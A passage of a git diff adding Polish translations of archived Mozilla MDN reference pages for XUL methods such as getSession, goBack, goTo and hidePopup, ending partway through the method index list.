+ <span id="m-getSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSession">getSession( session )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt sesji z danym indeksem. Będzie zwrócony obiekt typu <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsessionbyname/index.html b/files/pl/mozilla/tech/xul/metoda/getsessionbyname/index.html
new file mode 100644
index 0000000000..2bceb36b9e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsessionbyname/index.html
@@ -0,0 +1,21 @@
+---
+title: getSessionByName
+slug: Mozilla/Tech/XUL/Metoda/getSessionByName
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSessionByName
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getSessionByName"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionByName">getSessionByName( name )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt sesji wraz z daną nazwą. Będzie zwracał obiekt typu <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsessionresultat/index.html b/files/pl/mozilla/tech/xul/metoda/getsessionresultat/index.html
new file mode 100644
index 0000000000..7870bbfab7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsessionresultat/index.html
@@ -0,0 +1,21 @@
+---
+title: getSessionResultAt
+slug: Mozilla/Tech/XUL/Metoda/getSessionResultAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSessionResultAt
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getSessionResultAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionResultAt">getSessionResultAt( session, index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ pozycja wyniku</i>
+ </dd>
+ <dd>
+ Zwraca pozycję wyniku w określonym <var>index</var> dla określonej <var>session</var>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsessionstatusat/index.html b/files/pl/mozilla/tech/xul/metoda/getsessionstatusat/index.html
new file mode 100644
index 0000000000..983f616aa3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsessionstatusat/index.html
@@ -0,0 +1,21 @@
+---
+title: getSessionStatusAt
+slug: Mozilla/Tech/XUL/Metoda/getSessionStatusAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSessionStatusAt
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getSessionStatusAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionStatusAt">getSessionStatusAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ ???</i>
+ </dd>
+ <dd>
+ Zwraca status dla obiektu sesji z danego indeksu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsessionvalueat/index.html b/files/pl/mozilla/tech/xul/metoda/getsessionvalueat/index.html
new file mode 100644
index 0000000000..ca9557e1f8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsessionvalueat/index.html
@@ -0,0 +1,21 @@
+---
+title: getSessionValueAt
+slug: Mozilla/Tech/XUL/Metoda/getSessionValueAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSessionValueAt
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getSessionValueAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionValueAt">getSessionValueAt( session, index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ wartość wyniku/rezultatu</i>
+ </dd>
+ <dd>
+ Zwraca wartość rezultatu w określonym <var>index</var> dla określonej <var>session</var>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getstring/index.html b/files/pl/mozilla/tech/xul/metoda/getstring/index.html
new file mode 100644
index 0000000000..cd6466470d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getstring/index.html
@@ -0,0 +1,21 @@
+---
+title: getString
+slug: Mozilla/Tech/XUL/Metoda/getString
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getString
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getString"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getString">getString( key )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca łańcuch znaków z daną nazwą <var>key</var> z łańcucha znaków paczki (boundle).</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/goback/index.html b/files/pl/mozilla/tech/xul/metoda/goback/index.html
new file mode 100644
index 0000000000..726e6c4242
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/goback/index.html
@@ -0,0 +1,17 @@
+---
+title: goBack
+slug: Mozilla/Tech/XUL/Metoda/goBack
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goBack
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę wstecz w historii.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/gobackgroup/index.html b/files/pl/mozilla/tech/xul/metoda/gobackgroup/index.html
new file mode 100644
index 0000000000..881fa5f4ef
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/gobackgroup/index.html
@@ -0,0 +1,23 @@
+---
+title: goBackGroup
+slug: Mozilla/Tech/XUL/Metoda/goBackGroup
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goBackGroup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-goBackGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBackGroup">goBackGroup()</a></code></span></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zwraca poprzednią grupę kart.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/godown/index.html b/files/pl/mozilla/tech/xul/metoda/godown/index.html
new file mode 100644
index 0000000000..392d89c3f7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/godown/index.html
@@ -0,0 +1,21 @@
+---
+title: goDown
+slug: Mozilla/Tech/XUL/Metoda/goDown
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goDown
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-goDown"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goDown">goDown()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi zaznaczenie w dół o jedną pozycje.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/goforward/index.html b/files/pl/mozilla/tech/xul/metoda/goforward/index.html
new file mode 100644
index 0000000000..b3b721e948
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/goforward/index.html
@@ -0,0 +1,17 @@
+---
+title: goForward
+slug: Mozilla/Tech/XUL/Metoda/goForward
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goForward
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę do przodu w historii.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/goforwardgroup/index.html b/files/pl/mozilla/tech/xul/metoda/goforwardgroup/index.html
new file mode 100644
index 0000000000..c5ac95be28
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/goforwardgroup/index.html
@@ -0,0 +1,23 @@
+---
+title: goForwardGroup
+slug: Mozilla/Tech/XUL/Metoda/goForwardGroup
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goForwardGroup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-goForwardGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForwardGroup">goForwardGroup()</a></code></span></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Idzie dalej do następnej grupy kart.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/gohome/index.html b/files/pl/mozilla/tech/xul/metoda/gohome/index.html
new file mode 100644
index 0000000000..93293ad7cb
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/gohome/index.html
@@ -0,0 +1,17 @@
+---
+title: goHome
+slug: Mozilla/Tech/XUL/Metoda/goHome
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goHome
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-goHome"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goHome">goHome()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje stronę startową użytkownika do przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/goto/index.html b/files/pl/mozilla/tech/xul/metoda/goto/index.html
new file mode 100644
index 0000000000..f7f9e0ebb9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/goto/index.html
@@ -0,0 +1,21 @@
+---
+title: goTo
+slug: Mozilla/Tech/XUL/Metoda/goTo
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goTo
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-goTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goTo">goTo( pageID )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Ta metoda jest stosowana do zmiany, która strona jest aktualnie wyświetlana, określona poprzez argument <var>pageID</var>. Strona będzie zmieniona niezależnie od własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canAdvance">canAdvance</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canRewind">canRewind</a></span></code>. Atrybuty <code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code> i <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code> nie są wywoływane podczas użycia tej metody.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/gotoindex/index.html b/files/pl/mozilla/tech/xul/metoda/gotoindex/index.html
new file mode 100644
index 0000000000..9c59fd3fd6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/gotoindex/index.html
@@ -0,0 +1,17 @@
+---
+title: gotoIndex
+slug: Mozilla/Tech/XUL/Metoda/gotoIndex
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/gotoIndex
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-gotoIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/gotoIndex">gotoIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przechodzi do strony o podanym indeksie w historii. Użyj wartości dodatniej, by przejść w przód, a ujemnej by w tył.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/goup/index.html b/files/pl/mozilla/tech/xul/metoda/goup/index.html
new file mode 100644
index 0000000000..4f537f3912
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/goup/index.html
@@ -0,0 +1,21 @@
+---
+title: goUp
+slug: Mozilla/Tech/XUL/Metoda/goUp
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/goUp
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-goUp"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goUp">goUp()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi zaznaczenie do góry o jedną pozycję.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/hasuservalue/index.html b/files/pl/mozilla/tech/xul/metoda/hasuservalue/index.html
new file mode 100644
index 0000000000..55a48469bc
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/hasuservalue/index.html
@@ -0,0 +1,21 @@
+---
+title: hasUserValue
+slug: Mozilla/Tech/XUL/Metoda/hasUserValue
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/hasUserValue
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-hasUserValue"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/hasUserValue">hasUserValue()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Zwraca <code>true</code>, jeśli preferencje zostały zmienione z domyślnej wartości.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/hidepopup/index.html b/files/pl/mozilla/tech/xul/metoda/hidepopup/index.html
new file mode 100644
index 0000000000..5a58b60262
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/hidepopup/index.html
@@ -0,0 +1,20 @@
+---
+title: hidePopup
+slug: Mozilla/Tech/XUL/Metoda/hidePopup
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/hidePopup
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-hidePopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/hidePopup">hidePopup()</a></code></span></dt><div class="noinclude">
+<dd> Metoda: <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></dd></div>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Natychmiast zamyka wyskakujące okienko.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/increase/index.html b/files/pl/mozilla/tech/xul/metoda/increase/index.html
new file mode 100644
index 0000000000..d4f022fa56
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/increase/index.html
@@ -0,0 +1,27 @@
+---
+title: increase
+slug: Mozilla/Tech/XUL/Metoda/increase
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/increase
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<div class="noinclude">
+ <dl>
+ <dd>
+ Metoda: <code><a href="/pl/docs/Mozilla/Tech/XUL/scale" title="scale">scale</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></dd>
+ </dl>
+</div>
+<dl>
+ <dt>
+ <span id="m-increase"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/increase">increase()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wartość wzrastająca na <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> poprzez przyrost.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/increasepage/index.html b/files/pl/mozilla/tech/xul/metoda/increasepage/index.html
new file mode 100644
index 0000000000..8ad5726fb2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/increasepage/index.html
@@ -0,0 +1,19 @@
+---
+title: increasePage
+slug: Mozilla/Tech/XUL/Metoda/increasePage
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/increasePage
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-increasePage"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/increasePage">increasePage()</a></code></span></dt><div class="noinclude">
+<dd> Metoda: <code><a href="/pl/docs/Mozilla/Tech/XUL/scale" title="scale">scale</a></code></dd></div>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość wzrastająca na skali poprzez przyrost strony.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/index.html b/files/pl/mozilla/tech/xul/metoda/index.html
new file mode 100644
index 0000000000..853d557fcb
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/index.html
@@ -0,0 +1,147 @@
+---
+title: Metody
+slug: Mozilla/Tech/XUL/Metoda
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method
+---
+<p><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span> </p>
+<ul><li> <a href="pl/XUL/Metoda/acceptDialog">acceptDialog</a>
+</li><li> <a href="pl/XUL/Metoda/addItemToSelection">addItemToSelection</a>
+</li><li> <a href="pl/XUL/Metoda/addPane">addPane</a>
+</li><li> <a href="pl/XUL/Metoda/addProgressListener">addProgressListener</a>
+</li><li> <a href="pl/XUL/Metoda/addSession">addSession</a>
+</li><li> <a href="pl/XUL/Metoda/addTab">addTab</a>
+</li><li> <a href="pl/XUL/Metoda/advance">advance</a>
+</li><li> <a href="pl/XUL/Metoda/advanceSelectedTab">advanceSelectedTab</a>
+</li><li> <a href="pl/XUL/Metoda/appendCustomToolbar">appendCustomToolbar</a>
+</li><li> <a href="pl/XUL/Metoda/appendGroup">appendGroup</a>
+</li><li> <a href="pl/XUL/Metoda/appendItem">appendItem</a>
+</li><li> <a href="pl/XUL/Metoda/blur">blur</a>
+</li><li> <a href="pl/XUL/Metoda/cancel">cancel</a>
+</li><li> <a href="pl/XUL/Metoda/cancelDialog">cancelDialog</a>
+</li><li> <a href="pl/XUL/Metoda/centerWindowOnScreen">centerWindowOnScreen</a>
+</li><li> <a href="pl/XUL/Metoda/checkAdjacentElement">checkAdjacentElement</a>
+</li><li> <a href="pl/XUL/Metoda/clearResults">clearResults</a>
+</li><li> <a href="pl/XUL/Metoda/clearSelection">clearSelection</a>
+</li><li> <a href="pl/XUL/Metoda/click">click</a>
+</li><li> <a href="pl/XUL/Metoda/collapseToolbar">collapseToolbar</a>
+</li><li> <a href="pl/XUL/Metoda/doCommand">doCommand</a>
+</li><li> <a href="pl/XUL/Metoda/ensureElementIsVisible">ensureElementIsVisible</a>
+</li><li> <a href="pl/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible</a>
+</li><li> <a href="pl/XUL/Metoda/ensureSelectedElementIsVisible">ensureSelectedElementIsVisible</a>
+</li><li> <a href="pl/XUL/Metoda/expandToolbar">expandToolbar</a>
+</li><li> <a href="pl/XUL/Metoda/focus">focus</a>
+</li><li> <a href="pl/XUL/Metoda/getBrowserForTab">getBrowserForTab</a>
+</li><li> <a href="pl/XUL/Metoda/getButton">getButton</a>
+</li><li> <a href="pl/XUL/Metoda/getDefaultSession">getDefaultSession</a>
+</li><li> <a href="pl/XUL/Metoda/getEditor">getEditor</a>
+</li><li> <a href="pl/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a>
+</li><li> <a href="pl/XUL/Metoda/getFormattedString">getFormattedString</a>
+</li><li> <a href="pl/XUL/Metoda/getHTMLEditor">getHTMLEditor</a>
+</li><li> <a href="pl/XUL/Metoda/getIndexOfFirstVisibleRow">getIndexOfFirstVisibleRow</a>
+</li><li> <a href="pl/XUL/Metoda/getIndexOfItem">getIndexOfItem</a>
+</li><li> <a href="pl/XUL/Metoda/getItemAtIndex">getItemAtIndex</a>
+</li><li> <a href="pl/XUL/Metoda/getNextItem">getNextItem</a>
+</li><li> <a href="pl/XUL/Metoda/getNumberOfVisibleRows">getNumberOfVisibleRows</a>
+</li><li> <a href="pl/XUL/Metoda/getPageById">getPageById</a>
+</li><li> <a href="pl/XUL/Metoda/getPreviousItem">getPreviousItem</a>
+</li><li> <a href="pl/XUL/Metoda/getResultAt">getResultAt</a>
+</li><li> <a href="pl/XUL/Metoda/getResultCount">getResultCount</a>
+</li><li> <a href="pl/XUL/Metoda/getResultValueAt">getResultValueAt</a>
+</li><li> <a href="pl/XUL/Metoda/getRowCount">getRowCount</a>
+</li><li> <a href="pl/XUL/Metoda/getSearchAt">getSearchAt</a>
+</li><li> <a href="pl/XUL/Metoda/getSelectedItem">getSelectedItem</a>
+</li><li> <a href="pl/XUL/Metoda/getSession">getSession</a>
+</li><li> <a href="pl/XUL/Metoda/getSessionByName">getSessionByName</a>
+</li><li> <a href="pl/XUL/Metoda/getSessionResultAt">getSessionResultAt</a>
+</li><li> <a href="pl/XUL/Metoda/getSessionStatusAt">getSessionStatusAt</a>
+</li><li> <a href="pl/XUL/Metoda/getSessionValueAt">getSessionValueAt</a>
+</li><li> <a href="pl/XUL/Metoda/getString">getString</a>
+</li><li> <a href="pl/XUL/Metoda/goBack">goBack</a>
+</li><li> <a href="pl/XUL/Metoda/goBackGroup">goBackGroup</a>
+</li><li> <a href="pl/XUL/Metoda/goDown">goDown</a>
+</li><li> <a href="pl/XUL/Metoda/goForward">goForward</a>
+</li><li> <a href="pl/XUL/Metoda/goForwardGroup">goForwardGroup</a>
+</li><li> <a href="pl/XUL/Metoda/goHome">goHome</a>
+</li><li> <a href="pl/XUL/Metoda/goTo">goTo</a>
+</li><li> <a href="pl/XUL/Metoda/gotoIndex">gotoIndex</a>
+</li><li> <a href="pl/XUL/Metoda/goUp">goUp</a>
+</li><li> <a href="pl/XUL/Metoda/hasUserValue">hasUserValue</a>
+</li><li> <a href="pl/XUL/Metoda/hidePopup">hidePopup</a>
+</li><li> <a href="pl/XUL/Metoda/insertItem">insertItem</a>
+</li><li> <a href="pl/XUL/Metoda/insertItemAt">insertItemAt</a>
+</li><li> <a href="pl/XUL/Metoda/invertSelection">invertSelection</a>
+</li><li> <a href="pl/XUL/Metoda/loadGroup">loadGroup</a>
+</li><li> <a href="pl/XUL/Metoda/loadURI">loadURI</a>
+</li><li> <a href="pl/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a>
+</li><li> <a href="pl/XUL/Metoda/makeEditable">makeEditable</a>
+</li><li> <a href="pl/XUL/Metoda/moveTo">moveTo</a>
+</li><li> <a href="pl/XUL/Metoda/moveToAlertPosition">moveToAlertPosition</a>
+</li><li> <a href="pl/XUL/Metoda/onSearchComplete">onSearchComplete</a>
+</li><li> <a href="pl/XUL/Metoda/onTextEntered">onTextEntered</a>
+</li><li> <a href="pl/XUL/Metoda/onTextReverted">onTextReverted</a>
+</li><li> <a href="pl/XUL/Metoda/openSubDialog">openSubDialog</a>
+</li><li> <a href="pl/XUL/Metoda/openWindow">openWindow</a>
+</li><li> <a href="pl/XUL/Metoda/preferenceForElement">preferenceForElement</a>
+</li><li> <a href="pl/XUL/Metoda/reload">reload</a>
+</li><li> <a href="pl/XUL/Metoda/reloadAllTabs">reloadAllTabs</a>
+</li><li> <a href="pl/XUL/Metoda/reloadTab">reloadTab</a>
+</li><li> <a href="pl/XUL/Metoda/reloadWithFlags">reloadWithFlags</a>
+</li><li> <a href="pl/XUL/Metoda/removeAllItems">removeAllItems</a>
+</li><li> <a href="pl/XUL/Metoda/removeAllTabsBut">removeAllTabsBut</a>
+</li><li> <a href="pl/XUL/Metoda/removeCurrentTab">removeCurrentTab</a>
+</li><li> <a href="pl/XUL/Metoda/removeItemAt">removeItemAt</a>
+</li><li> <a href="pl/XUL/Metoda/removeItemFromSelection">removeItemFromSelection</a>
+</li><li> <a href="pl/XUL/Metoda/removeProgressListener">removeProgressListener</a>
+</li><li> <a href="pl/XUL/Metoda/removeSession">removeSession</a>
+</li><li> <a href="pl/XUL/Metoda/removeTab">removeTab</a>
+</li><li> <a href="pl/XUL/Metoda/replaceGroup">replaceGroup</a>
+</li><li> <a href="pl/XUL/Metoda/reset">reset</a>
+</li><li> <a href="pl/XUL/Metoda/rewind">rewind</a>
+</li><li> <a href="pl/XUL/Metoda/scrollByIndex">scrollByIndex</a>
+</li><li> <a href="pl/XUL/Metoda/scrollToIndex">scrollToIndex</a>
+</li><li> <a href="pl/XUL/Metoda/select">select</a>
+</li><li> <a href="pl/XUL/Metoda/selectAll">selectAll</a>
+</li><li> <a href="pl/XUL/Metoda/selectItem">selectItem</a>
